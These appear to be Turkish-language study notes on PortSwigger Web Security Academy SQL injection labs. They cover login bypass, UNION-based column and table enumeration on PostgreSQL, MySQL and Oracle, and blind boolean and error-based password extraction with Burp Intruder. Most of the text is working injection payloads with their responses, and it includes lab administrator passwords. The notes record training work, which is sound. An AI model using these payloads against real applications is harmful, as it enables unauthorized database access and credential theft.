PortSwigger Lab
eğitim boyunca izelenecek materyal: https://portswigger.net/web-security/all-labs
setifikasyon ücreti 2024 'de $99
sql injection nedir?
- basitçe
- bir saldırganın uygulamanın veritabanına yaptığı sorgulara müdehale etmesine olanak tanıyan web güvenlik açığı
- bu saldırı, normalde gösterilmeyen sonuçları saldırgan tarafından görüntülenmesini sağlar
Lab1 - da bize Gifts bölümünde gizlenmiş herşeyi göster diyor
burada gifts bölümüne gittiğimizde url de
https://0a6800af047b792a80d35893009d006c.web-security-academy.net/filter?category=Gifts
bunu görebiliyoruz
ek olarak ' or 1 = 1 -- dediğimizde gizlenmiş olan kısımlarda geliyor
aslında sadece gizlenmiş değil hepsini getirdik ve -- işareti de sql de yorum satırı yani işlevsizleştirildi ve sorgunun geri kalan kısmı çalışmadı
bu açığın varlığınıda dönen hatadan anlayabiliriz
https://0a6800af047b792a80d35893009d006c.web-security-academy.net/filter?category=Gifts
bu url de tek veya çift tırnak koyduğumuzda backend yani sorgunun yapıldığı bölmede bu tırnak ifadesi sorguya dahil edilirse bir hata dönecektir.
Lab2 - konu: login bypass
bize administrator olarak giriş yapmamızı söylüyor
Bu laboratuvar, oturum açma işlevinde bir SQL ekleme güvenlik açığı içerir.
bir giriş var burada
administrator'--
diye giriş yaptığımızda arka tarafta sorguda sadece username dikkate alınacak
ve kalan sorgu yorum satırı halini alacak
Lan3 - SQL injection UNION attack, determining the number of columns returned by the query
Bu laboratuvar, ürün kategorisi filtresinde bir SQL ekleme güvenlik açığı içeriyor. Sorgunun sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için UNION saldırısını kullanabilirsiniz. Böyle bir saldırının ilk adımı, sorgunun döndürdüğü sütun sayısını belirlemektir. Daha sonra bu tekniği sonraki laboratuvarlarda tam saldırıyı oluşturmak için kullanacaksınız.
öncelikle ' vey " ile sql açığı olabilcek ve buna göre hata dönecek mi bakıyoruz
daha sonra UNION sql sorgumuza eklerken bilgi: aynı değere sahip iki select ifadesi, tipleri olmalı
her hangi bir kategori seçin ve url: /filter?category=Corporate+gifts göreceksiniz
ekleme yapacağız
' union select null --
eğer birden fazla sütun var sa hata dönecektir
/filter?category=Corporate+gifts' union select null--
/filter?category=Corporate+gifts' union select null, null--
/filter?category=Corporate+gifts' union select null, null, null--
bu şekilde sql query si göndererek sütun sayısını belirlemiş olduk
Lab4 - SQL injection UNION attack, finding a column containing text
bura sütun içerisindeki texte erişmeyi amaçlıyoruz
aynı şekilde sütun sayısını bullalım
/filter?category=Corporate+gifts%27%20union%20select%20null,%20null,%20null--
(bu ifade url encode işlemi bu yüzden %20 gibi ilafedeler var)
bizden text bir ifade istediğinden bulduğumuz sütunların her birine teker teker karakter ifadeleri ile deneme yapalım
/filter?category=Corporate+gifts%27%20union%20select%20A,%20null,%20null--
/filter?category=Corporate+gifts' union select null, 'a', null --
200 OK
fakat bizden istenen şu ifadenin çağrılması: uQqzWH
/filter?category=Corporate+gifts' union select null, 'uQqzWH', null --
Lab5 - SQL injection UNION attack, retrieving data from other tables
Veritabanı, username ve password adı verilen sütunlara sahip, users verilen farklı bir tablo içerir.
Laboratuvarı çözmek için, tüm kullanıcı adlarını ve şifreleri alan bir SQL enjeksiyon UNION saldırısı gerçekleştirin ve bu bilgileri administrator kullanıcı olarak oturum açmak için kullanın.
burp suit de yakalanan isteği repeter a gönderip http başlık kısmnda
/filter?category=Pets
şunu eklersek:
%27%20union%20select%20username,%20password%20from%20users%20where%20username=%27administrator%27--
ve send dersek
sağ taraftaki açılan sayfada biraz aşağıda şu bilgiyi görebilirsiniz
<th>administrator</th>
<td>trb8xk6xa542djf8lk3i</td>
veya alt kısımda arama kutusuna administrator yazarsanız da bulabilirsiniz
elde edilen yönetici bilgisi:
username: administrator
password: trb8xk6xa542djf8lk3i
görevi tamamlamak için My Account kısmından bu bilgileri girin
Lab: SQL injection UNION attack, retrieving multiple values in a single
bir öncekş saldırıya benzer fakat burada tek sütunda birden fazla veri almamız isteniyor
yine aynı şekilde denmelerimizi yapın
burp suite de http başlığında ek olarak
' union select null,concat(username,':',password) from users--
sağ taraf bilgileri edinebiliriz
ve ek olarak bizden istenen yine yönetici admin hesap bilgileri olduğunda:
' union select null,concat(username,':',password) from users where username='administrator'--
sonuç:<th>administrator:aswsqluf9axycdp2eyu0</th>
username: administrator
password: aswsqluf9axycdp2eyu0
my account kısmında yazın
bu kısımda önemli olan ise concat işleminde farklı db ler farklı yöntemler gereklidir
bunun için önce hangi db olduğunu öğrenelim bunun için
' union select null,version()--
version(): bu fonsiyon postgresql de version bilgisi almak için kullanılır
diğer db ler içinde bu farklı yazım şekli olabilir(araştır)
https://portswigger.net/web-security/sql-injection/cheat-sheet
bizimkisi: PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
bu db de concat işlemi: PostgreSQL 'foo'||'bar'
ama biz concat ile de bunu yapabilmiştik hadi bunu da deneyelim
' union select null, version() --
' union select null, username || ' : ' || password from users--
ve sonuç=> administrator : gl3e12blv4twaay1x0d8
' union select null, username from users --
çıktı: administrator
' union select null, password from users where username = 'administrator' --
çıktı: gl3e12blv4twaay1x0d8
Lab: SQL injection attack, querying the database type and version on Oracle
burada bizden database in türünü bulmamızı istemiş ancak daha önce nasıl oluduğunu anlamıştık
ama oracle de önceki gibi bilgi alamıyoruz
kolan sayısı ve tiplerine bakalım
' order by 1-- 200
' order by 2-- 200
' order by 3-- 500
2 tane olduğunu öğrendik şimdi tiplerine bakalım
burada table ismi bilmiyorsa varsayılan olarak oracle de yer alan table 'dual'
' union select 'a',null from dual --
' union select 'a','a' from dual --
iki kısımda string olduğunu gördük şimdi de version bulmak için:
' union select banner,null from v$version--
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
Oracle veritabanlarında, her SELECT ifadesinin from'un seçileceği bir tablo belirtmesi gerekir. UNION SELECT saldırınız bir tablodan sorgulama yapmıyorsa, yine de from anahtar sözcüğünü ve ardından geçerli bir tablo adını eklemeniz gerekecektir.
Oracle'da bu amaçla kullanabileceğiniz dual adında yerleşik bir tablo bulunmaktadır. Örneğin: UNION SELECT 'abc' from dual
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
oracle de kine benzer bir senaryo izleyeceğiz
burada -- işareti olmadı başka bir kullanım olarak # kullanabiliriz
önce kolonların adedini bulalım
' order by 1# 200
' order by 2# 200
' order by 3# 500
2 tane kolon var
' union select null,version#
8.0.39-0ubuntu0.20.04.1
ÖNEMLİ!! Lab: SQL injection attack, listing the database contents on non-Oracle databases
oracle olmayan database lerde database içeriklerinin listelenmesi
önce kolonların adedini bulalım
' order by 1-- 200
' order by 2-- 200
' order by 3-- 500
2 tane kolon var
daha sonra
' union select null,version() --
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
yani PostgreSQL olduğunu bulduk
https://www.postgresql.org/docs/9.1/information-schema.html
https://www.oracletutorial.com/oracle-basics/oracle-select/
şimdi bulduğumuz kolanların tipleri ne bakalım
' union select null,'a' -- 200
' union select 'a','a' -- 200
şimdi öncelikle veritabanındaki tabloları bulalım
' union select 'a',table_name from information_schema.tables--
bir çok tablo çıktı
arama kutusuna users/user gib arama yapalım pakalım ne bulacağız
dikkat çekici !?!
users_uklqtl
' union select 'a',column_name from information_schema.columns where table_name = 'users_uklqtl'--
sorgu sonucu bulduğumuz columns
username_vtssas
password_awpjeg
tablo = users_uklqtl
colon1 = username_vtssas
colon2 = password_awpjeg
colon3 = email
sorgumuz: ' union select 'a',concat(username_vtssas,' : ',email,' : ',password_awpjeg) from users_uklqtl --
sonuç:
carlos : : ep94isabqy1oz5xsj7dl
wiener : : 6b8opis8vl59wkv8jqc9
administrator : : ewd5dzoq1qzn1sgt5sno => bu bilgiler her seferinde değişiyor admin hesabına girin
Lab: SQL injection attack, listing the database contents on Oracle
şim aynı işlemlere benzer işlemleri oracle veritabanı için yapacağız
önce kolon sayısı tipi ve sonra version bilgisi alalım
bakalım bu çocuk kimmiş?!!?
' order by 1,2--
kolon sayısı 2
' union select 'a','a' from dual--
2 kolon da string
' union select 'a',banner from v$version--
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
sürüm bilgisi: 11.2.0.2.0 (araştıralım)
https://docs.oracle.com/en/database/oracle/oracle-database/19/refrn/ALL_TAB_COLUMNS.html
https://portswigger.net/web-security/sql-injection/cheat-sheet (database contemt kısımı oracle)
' union select 'a',table_name from all_tables--
burada da çok fazla tablo var
bakacağız
garip: USERS_ZMAWGD (table_name)
şimdi de bu table ın kolonlarını bulalım
' union select 'a',column_name from all_tab_columns where table_name = 'USERS_ZMAWGD' --
bulunan kolonlar
USERNAME_JLRWVB
PASSWORD_YYBZPI
' union select 'a',USERNAME_JLRWVB || ' : ' || EMAIL || ':' || PASSWORD_YYBZPI from USERS_ZMAWGD--
sonuçlar:
administrator : :qlyx0qj2f8vijmayl5ky
carlos : :l5ht5xxcsecg8gjror7j
wiener : :bmna64hr0goxz31hgmcd
Lab: Blind SQL injection with conditional responses
Bu laboratuvar kör bir SQL ekleme güvenlik açığı içeriyor. Uygulama, analiz için bir trackingId kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.
Koşullu yanıtlarla kör SQL enjeksiyonu bulması da sömürmeside oldukça zor bir zafiyettir
SQL sorgusunun sonuçları döndürülmez ve hiçbir hata mesajı görüntülenmez. Ancak sorgunun herhangi bir satır döndürmesi durumunda uygulama sayfada bir Hoş Geldiniz mesajı içerir.
Veritabanı, username ve password verilen sütunlara sahip, users verilen farklı bir tablo içerir. administrator şifresini bulmak için kör SQL enjeksiyon güvenlik açığından yararlanmanız gerekir.
Laboratuvarı çözmek için yönetici kullanıcı olarak oturum açın.
her hangi bir dönüt vermediğin ek olarak bir browser aracından yararlanacağı: cookie editor firefox
bize bu web uygulamasında TrackingId kısmında bir sıkıntı olduğunu belirtiyor burayı kullanacağız
şimdi laba geçelim ve her burpte by ıd yi yakalamak için herhangi bir kategoryetıklayalım
dana sonra bura 2 farklı değern (trackingId,session) bilgisi gidiyor ve her sorguda bu değerleri kullanıyor
Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and 1 = 1 --; session=LJxIhV4dHFY0vctxnA9SjjXv1uFW3Scj
burp suite de repeter ı kullanarak şöyle bir istek yaptım ve welcome yazısı var şimdi
test amaçlı yanlış girelim
Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and 1 = 2 --; session=LJxIhV4dHFY0vctxnA9SjjXv1uFW3Scj
bu sefer gelmedi demekki kesin olarak bir blind sql açığı var diyebiliriz
muhtemelen arkada
select trackin_id from trackin_table where tracking_id = 'cooki_değeri'
select trackin_id from trackin_table where tracking_id = '5NfRgSfhr3PaZ2I2' gibi
bunu da doğruladık ve sorgularımızı bu yolla gönderebiliriz
Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select username from users where username = 'administrator')='administrator'--;
administrator diye bir kullanıcı ve users taple ve username kolonu olduğunu öğrendik
şimdi repeterdaki bu isteği intruder a gönderelim
Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select username from users where username = 'administrator' and lendth (password) >= 1) = 'administrator'--;
burada username i bildiğimizde sadece parola kısmına saldırı yapacağız
length (password)>1: eğer parola 1 den büyükse döndür ve tüm sonucu 'administrator' a eşitle
1 karakterini sürekli olarak intruder ile karakter uzunluğuna göre arttıracağız
kodumuzu url endoce yapalım 1 i seçip sniper diyerek payload a gidelim
numbers ı seçip 1 den mesela 30 a kadar 1 er git ki bu şifre uzunluğu
saldırı başladıktan sonra length kısmında bir süre sonda farklı değişiklik görülür
üzerine tıklayıp response bakın
20 dan sonra false yani welcome gelmiyor yani şifre 20 karakterli
şimdi şifre doğrulamak için her adımda doğrulama gerekli yine intruder i kullanacağız am kodumuz da biraz değişiklik yapacağız
' and (selecet substring(password,1,1) from users where = 'administrator') = 'a' --;
burada kelime ayrıştırıcı için substring kullanık password,ifade,uzunluk gibi düşenebilirsin
en sonda = 'a' ise bulunan değerin doğruluğu olacak
intruder e gönderin
password,1,1 deki ilk 1 ile sonda ki 'a' yı seçin
sniper yerine cluster bomb seçin
son hali:
Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select substring(password,§1§,1) from users where username = 'administrator') = '§a§' --;
cluster bomb u seçin
1 için numbers seç ve 1 den 20 ye 1
2 için brute force max 1 min 1
şimdi atağı başlatın
biraz uzun sürecek
1 = e
2 = 7
3 = y
4 = 5
5 = f
6 = d
7 = v
8 = g
9 = 2
10 = y
11 = a
12 = l
13 = a
14 = x
15 = 4
16 = 0
17 = k
18 = o
19 = x
20 = l
sonuç: e7y5fdvg2yalax40koxl
Lab: Blind SQL injection with conditional errors
Bu laboratuvar kör bir SQL ekleme güvenlik açığı içeriyor. Uygulama, analiz için bir tracking cookie kullanır ve submitted cookie değerini içeren bir SQL sorgusu gerçekleştirir.
SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgunun satır döndürüp döndürmemesine bağlı olarak farklı yanıt vermez. SQL sorgusu bir hataya neden olursa uygulama özel bir hata mesajı döndürür.
Veritabanı, username ve password verilen sütunlara sahip, users verilen farklı bir tablo içerir. administrator şifresini bulmak için kör SQL enjeksiyon güvenlik açığından yararlanmanız gerekir.
Laboratuvarı çözmek için yönetici kullanıcı olarak oturum açın.
Bu laboratuvar bir Oracle veritabanı kullanıyor. Daha fazla bilgi için SQL enjeksiyon hile sayfasına bakın. https://portswigger.net/web-security/sql-injection/cheat-sheet
lab ı aç burtpp te isteğği yakala ve repeter a gönder
repeter da :
Cookie: TrackingId=UjeIzWxuEqu0tP5d' || (select '' from dual) || '; dönen başlık 200 OK
şimd formu biraz bozalım ve hataya bakalım
Cookie: TrackingId=UjeIzWxuEqu0tP5d' || (select '' from dualasd) || '; 500 sunucu taraflı hata
yani kesin olarak şunu anladık veritabını oracle
' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator') || '; 500 geldi
hata verdirelim şimdi
' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administratorsad') || '; 200 geldi
aslında mantık:
doğru ifadelerde 500, doğru olmayanlar 200 dönüyor
' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator' and length(password)>=§1§) || ' ;
şimdi bunu intruder e gönde ve son kısımda ki 1 e sniper seçili olarak payload kısmında numbers 1 den 30 a 1 sonra atağı başlat
20 karakter den oluştuğunu bulduk 20 ye kadar 500 20 den sonra 200 aldık 200 bizim için hata 500 ok demek!
şimdi şifre bulmak içinde:
' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator' and substr(password,1,1)='a') || ' ;
burada da password,1 i ve sonda ki 'a' yı seçip clusterbomb u seçin
1 için 1 den 20 ye 1
a için de brute force diğerindeki gibi
daha sonra saldırıyı başlatın ve filter kısmından sadece 5xx olanı işaretleyip onaylayın
şimdi bekleyeceğiz
1 = q
2 = f
3 = p
4 = j
5 = m
6 = r
7 = i
8 = e
9 = w
10 = p
11 = 5
12 = t
13 = c
14 = 7
15 = w
16 = r
17 = u
18 = 8
19 = z
20 = 5
sonuç: qfpjmriewp5tc7wru8z5
Devm Edecek...
Yorumlar